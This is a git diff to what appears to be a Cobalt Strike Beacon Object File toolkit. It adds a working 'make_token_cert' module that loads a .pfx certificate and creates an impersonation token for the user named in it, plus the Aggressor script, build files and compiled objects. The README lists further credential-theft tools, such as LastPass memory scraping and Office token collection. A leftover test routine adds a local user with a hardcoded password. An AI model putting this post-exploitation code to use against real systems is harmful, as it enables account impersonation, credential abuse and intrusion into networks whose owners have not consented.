diff --git a/README.md b/README.md index 30b2e60..87fa311 100644 --- a/README.md +++ b/README.md @@ -24,6 +24,7 @@ You are welcome to use these, but issues opened related to these will be closed |get_priv| Activate the specified token privledge, more for non-cobalt strike users| |global_unprotect| Locates and Decrypts GlobalProtect config files converted from: [GlobalUnProtect](https://github.com/rotarydrone/GlobalUnProtect/tree/409d64b097e0a928a5545051e40e1566e9c26bd0)| |lastpass | Search Chrome, brave memory for LastPass passwords and data| +|make_token_cert| impersonates a user using the altname of a .pfx file | |office_tokens| Collect Office JWT Tokens from any Office process| |procdump| Dump the specified process to the specified output file| |ProcessDestroy| Close handle(s) in a process| diff --git a/Remote/Remote.cna b/Remote/Remote.cna index a11c5c7..6e492c0 100644 --- a/Remote/Remote.cna +++ b/Remote/Remote.cna @@ -2076,4 +2076,60 @@ beacon_command_register( "Usage: global_unprotect There are no arguments to this command" -) \ No newline at end of file +) +sub bschtaskscreate +{ + local('$server $taskpath $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args'); + $bid = $1; + $server = ""; + $fp = $null; + $taskpath = $2; + $mode = 1; + $force = 1; + $fpath = $3; + if(!-canread $fpath) + { + berror($bid, "Unable to read the xml task definition file: $fpath"); + return; + } + $fp = openf($fpath); + $fdata = readb($fp, -1); + closef($fp); + + $args = bof_pack($bid, "ZZZii", $server, $taskpath, $fdata, $mode, $force); + beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args); +} + +alias make_token_cert +{ + local('$handle $certpath $cert $password $args'); + if(size(@_) < 2) + { + berror($1, "usage: make_token_cert <.pfx local path> [opt: .pfx password]"); + return; + } + $certpath = $2; + $password = iff($3, $3, ""); + if(!-canread $certpath) + { + berror($1, "Unable to read $certpath on local system"); + return; + } + $handle = openf($certpath); + $cert = readb($handle, -1); + closef($handle); + + $args = bof_pack($1, "bZ", $cert, $password); + beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args); +} + +beacon_command_register( + "make_token_cert", + "Applies an impersonation token based on the Alt Name in a supplied .pfx file", + "Command: make_token_cert + +Usage make_token_cert [opt: password] + +Takes the path to a .pfx and optionally the password to decrypt the .pfx. +Reads it into the certificate store for the current user and creates an impersonation token with it. +Then deletes it from the users certificate store."); diff --git a/Remote/make_token_cert/make_token_cert.x64.o b/Remote/make_token_cert/make_token_cert.x64.o new file mode 100644 index 0000000..a57a853 Binary files /dev/null and b/Remote/make_token_cert/make_token_cert.x64.o differ diff --git a/Remote/make_token_cert/make_token_cert.x86.o b/Remote/make_token_cert/make_token_cert.x86.o new file mode 100644 index 0000000..4c09409 Binary files /dev/null and b/Remote/make_token_cert/make_token_cert.x86.o differ diff --git a/src/Remote/make_token_cert/Makefile b/src/Remote/make_token_cert/Makefile new file mode 100644 index 0000000..a54537d --- /dev/null +++ b/src/Remote/make_token_cert/Makefile @@ -0,0 +1,25 @@ +BOFNAME := make_token_cert +COMINCLUDE := -I ../../common +LIBINCLUDE := -lnetapi32 +CC_x64 := x86_64-w64-mingw32-gcc +CC_x86 := i686-w64-mingw32-gcc +CC := x86_64-w64-mingw32-clang + +all: + $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE + $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE + mkdir -p ../../../Remote/$(BOFNAME) + mv $(BOFNAME)*.o ../../../Remote/$(BOFNAME) + +test: + $(CC_x64) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe + $(CC_x86) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe + +scanbuild: + $(CC) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).scanbuild.exe + +check: + cppcheck --enable=all --suppress=missingIncludeSystem --suppress=unusedFunction $(COMINCLUDE) --platform=win64 entry.c + +clean: + rm $(BOFNAME).*.exe \ No newline at end of file diff --git a/src/Remote/make_token_cert/entry.c b/src/Remote/make_token_cert/entry.c new file mode 100644 index 0000000..ae8e198 --- /dev/null +++ b/src/Remote/make_token_cert/entry.c @@ -0,0 +1,211 @@ +#include +#include +#include +#include "beacon.h" +#include "bofdefs.h" +#include +#include "base.c" + + +// void hex_to_bytes(const char *hex_str, unsigned char *byte_array, size_t *len) { +// size_t hex_len = MSVCRT$strlen(hex_str); +// if (hex_len % 2 != 0) { +// // Hex string length must be even +// *len = 0; +// return; +// } + +// *len = hex_len / 2; + +// for (size_t i = 0; i < *len; i++) { +// MSVCRT$sscanf(hex_str + 2 * i, "%2x", &(byte_array[i])); +// } +// } +//thumbprint is assumed to have at least 20 bytes of space +HCERTSTORE LoadCert(unsigned char * cert, const wchar_t * password, DWORD certlen, DWORD passlen, PCCERT_CONTEXT * pcert) +{ + CRYPT_DATA_BLOB pfxData; + pfxData.cbData = certlen; + pfxData.pbData = cert; + *pcert = NULL; + PCCERT_CONTEXT pnewcert; + HCERTSTORE hCertStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_CURRENT_USER, L"MY"); + if (!hCertStore) { + internal_printf("Failed to open the certificate store. Error: %lu\n", KERNEL32$GetLastError()); + return NULL; + } + + HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, NULL, CRYPT_USER_KEYSET); + if(store == NULL) + { + internal_printf("Failed to improt cert, make sure its in the right format: %x\n", KERNEL32$GetLastError()); + return NULL; + } + *pcert = CRYPT32$CertEnumCertificatesInStore(store, NULL); + CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_ALWAYS, &pnewcert); + CRYPT32$CertDeleteCertificateFromStore(*pcert); + CRYPT32$CertCloseStore(store, 0); + *pcert = pnewcert; + return hCertStore; +} + +//thumbprint is assumed to be >= 20 bytes +void ImpersonateUser(PCCERT_CONTEXT pCertContext) +{ + DWORD hashSize = 20; + CERT_CREDENTIAL_INFO ci; + ci.cbSize = sizeof(CERT_CREDENTIAL_INFO); + LPWSTR creds; + if(!CRYPT32$CertGetCertificateContextProperty(pCertContext, CERT_HASH_PROP_ID, ci.rgbHashOfCert, &hashSize)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to get Thumbprint: %d", KERNEL32$GetLastError()); + return; + } + internal_printf("Cert Thumbprint: "); + for (DWORD i = 0; i < hashSize; i++) { + internal_printf("%02X", ci.rgbHashOfCert[i]); + } + internal_printf("\n"); + if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError()); + return; + } + HANDLE hToken = NULL; + if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError()); + return; + } + #ifdef COBALTSTRIKE + BeaconUseToken(hToken); //This does not appear to properly show the correct user currently, but leaving it for when CS fixes it. + #else + if(!ADVAPI32$ImpersonateLoggedOnUser(hToken)) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError()); + return; + } + #endif + BeaconPrintf(CALLBACK_OUTPUT, "success"); + +} + +#ifdef BOF +VOID go( + IN PCHAR Buffer, + IN ULONG Length +) +{ + DWORD dwErrorCode = ERROR_SUCCESS; + datap parser; + DWORD len, passlen; + BeaconDataParse(&parser, Buffer, Length); + unsigned char * cert = (unsigned char *)BeaconDataExtract(&parser, (int *)&len); // $2 + LPWSTR password = (LPWSTR)BeaconDataExtract(&parser, (int *)&passlen); + if(!bofstart()) + { + return; + } + internal_printf("Loading Cert into temp store\n"); + PCCERT_CONTEXT pcert = NULL; + HCERTSTORE store = LoadCert(cert, password, len, passlen, &pcert); + if(pcert != NULL) + { + ImpersonateUser(pcert); + internal_printf("success\n"); + CRYPT32$CertDeleteCertificateFromStore(pcert); + CRYPT32$CertCloseStore(store, 0); + } + else + { + internal_printf("failed\n"); + } + + +go_end: + printoutput(TRUE); + + bofstop(); +}; + +// VOID go( +// IN PCHAR Buffer, +// IN ULONG Length +// ) +// { +// DWORD dwErrorCode = ERROR_SUCCESS; +// datap parser; +// size_t len; +// BeaconDataParse(&parser, Buffer, Length); +// LPSTR certHash = BeaconDataExtract(&parser, (int *)&len); // $2 +// CERT_CREDENTIAL_INFO ci; +// ci.cbSize = sizeof(CERT_CREDENTIAL_INFO); +// len--; //delete null +// BeaconPrintf(CALLBACK_OUTPUT, "Converting %s : %d to bytes\n", certHash,len); + +// if(len > 40) +// { +// BeaconPrintf(CALLBACK_ERROR, "Hash isn't the right length\n"); +// return; +// } +// hex_to_bytes(certHash, ci.rgbHashOfCert, &len); //Could blow up if a string isn't right, just for testing here +// // for(int i = 0; i < len; i++) +// // { +// // BeaconPrintf(CALLBACK_OUTPUT, "%2X", ci.rgbHashOfCert[i]); +// // } +// BeaconPrintf(CALLBACK_OUTPUT, "converted %x : %d", ci.rgbHashOfCert, len); +// LPWSTR creds = NULL; +// if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds)) +// { +// BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError()); +// return; +// } +// BeaconPrintf(CALLBACK_OUTPUT, "success"); +// HANDLE hToken = NULL; +// if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken)) +// { +// BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError()); +// return; +// } +// if(!ADVAPI32$ImpersonateLoggedOnUser(hToken)) +// { +// BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError()); +// return; +// } +// // if(!bofstart()) +// // { +// // return; +// // } + +// go_end: +// // printoutput(TRUE); + +// // bofstop(); +// }; +#else +#define TEST_USERNAME L"Guest" +#define TEST_HOSTNAME NULL +#define TEST_PASSWORD L"Password123!" + +int main(int argc, char ** argv) +{ + DWORD dwErrorCode = ERROR_SUCCESS; + LPWSTR lpswzUserName = TEST_USERNAME; + LPWSTR lpswzPassword = TEST_PASSWORD; + LPWSTR lpswzServerName = TEST_HOSTNAME; + + internal_printf("Adding %S to %S\n", lpswzUserName, lpswzServerName ? lpswzServerName : L"the local machine" ); + + dwErrorCode = AddUser(lpswzUserName, lpswzPassword, lpswzServerName); + if ( ERROR_SUCCESS != dwErrorCode ) + { + BeaconPrintf(CALLBACK_ERROR, "Adding user failed: %lX\n", dwErrorCode); + goto main_end; + } + + internal_printf("SUCCESS.\n"); + +main_end: + return dwErrorCode; +} +#endif \ No newline at end of file diff --git a/src/common/bofdefs.h b/src/common/bofdefs.h index 66c0035..70e7e0a 100644 --- a/src/common/bofdefs.h +++ b/src/common/bofdefs.h @@ -9,6 +9,7 @@ #include #include #include +#include #include #include #include @@ -127,6 +128,7 @@ WINBASEAPI ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG Siz //MSVCRT WINBASEAPI char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); WINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...); +WINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...); WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); @@ -164,6 +166,7 @@ DECLSPEC_IMPORT int __cdecl MSVCRT$rand(void); _CRTIMP __time32_t __cdecl MSVCRT$_time32(__time32_t *_Time); WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...); +_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time); //SHLWAPI WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest,LPCWSTR pszDir,LPCWSTR pszFile); @@ -180,12 +183,23 @@ WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); //WSOCK32 WINBASEAPI unsigned long WINAPI WSOCK32$inet_addr(const char *cp); + + //WS2_32 WINBASEAPI u_long WINAPI WS2_32$htonl(u_long hostlong); WINBASEAPI u_short WINAPI WS2_32$htons(u_short hostshort); WINBASEAPI char * WINAPI WS2_32$inet_ntoa(struct in_addr in); WINBASEAPI LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze); WINBASEAPI INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr); +WINBASEAPI int WINAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData); +WINBASEAPI int WINAPI WS2_32$WSAGetLastError(void); +WINBASEAPI int WINAPI WS2_32$socket(int af,int type,int protocol); +WINBASEAPI int WINAPI WS2_32$setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen); +WINBASEAPI int WINAPI WS2_32$sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen); +WINBASEAPI int WINAPI WS2_32$recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen); +WINBASEAPI int WINAPI WS2_32$closesocket(SOCKET s); +WINBASEAPI int WINAPI WS2_32$WSACleanup(void); +WINBASEAPI int WINAPI WS2_32$ntohs(u_short netshort); //NETAPI32 WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName,LPCSTR DomainName,GUID *DomainGuid,LPCSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo); @@ -281,6 +295,7 @@ HRESULT WINAPI FLTLIB$FilterUnload(LPCWSTR lpFilterName); //ADVAPI32 WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountNameA (LPCSTR lpSystemName, LPCSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); WINADVAPI WINBOOL WINAPI ADVAPI32$GetUserNameA (LPSTR lpBuffer, LPDWORD pcbBuffer); +WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser (HANDLE hToken); WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW (LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); @@ -300,6 +315,8 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR lpSystemName, LP WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded); WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping); WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS); +WINADVAPI WINBOOL WINAPI ADVAPI32$CredMarshalCredentialW(CRED_MARSHAL_TYPE CredType,PVOID Credential,LPWSTR *MarshaledCredential); +WINADVAPI VOID WINAPI ADVAPI32$CredFree (PVOID Buffer); WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted); WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen);